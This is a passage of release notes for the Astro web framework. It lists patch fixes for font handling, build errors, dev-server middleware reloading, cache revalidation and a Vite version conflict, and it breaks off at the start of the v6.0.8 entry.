• #​16007 2dcd8d5 Thanks @​florian-lefebvre! - Fixes a case where fonts files would unecessarily be copied several times during the build

• #​16017 b089b90 Thanks @​felmonon! - Fix the astro sync error message when getImage() is called while loading content collections.

• #​16014 fa73fbb Thanks @​matthewp! - Fixes a build error where using astro:config/client inside a <script> tag would cause Rollup to fail with "failed to resolve import virtual:astro:routes from virtual:astro:manifest"

• #​16054 f74465a Thanks @​seroperson! - Fixes an issue with the development server, where changes to the middleware weren't picked, and it required a full restart of the server.

• #​16033 198d31b Thanks @​adampage! - Fixes a bug where the the role image was incorrectly reported by audit tool bar.

• #​15935 278828c Thanks @​oliverlynch! - Fixes cached assets failing to revalidate due to redirect check mishandling Not Modified responses.

• #​16075 2c1ae85 Thanks @​florian-lefebvre! - Fixes a case where invalid URLs would be generated in development when using font families with an oblique style and angles

• #​16062 87fd6a4 Thanks @​matthewp! - Warns on dev server startup when Vite 8 is detected at the top level of the user's project, and automatically adds a "overrides": { "vite": "^7" } entry to package.json when running astro add cloudflare. This prevents a require_dist is not a function crash caused by a Vite version split between Astro (requires Vite 7) and packages like @tailwindcss/vite that hoist Vite 8.

• Updated dependencies [10a1a5a]:

  • @​astrojs/markdown-remark@​7.1.0

v6.0.8

Compare Source

Patch Changes

• #​15978 6d182fe Thanks @​seroperson! - Fixes a bug where Astro Actions didn't properly support nested object properties, causing problems when users used zod functions such as superRefine or `discriminatedUn

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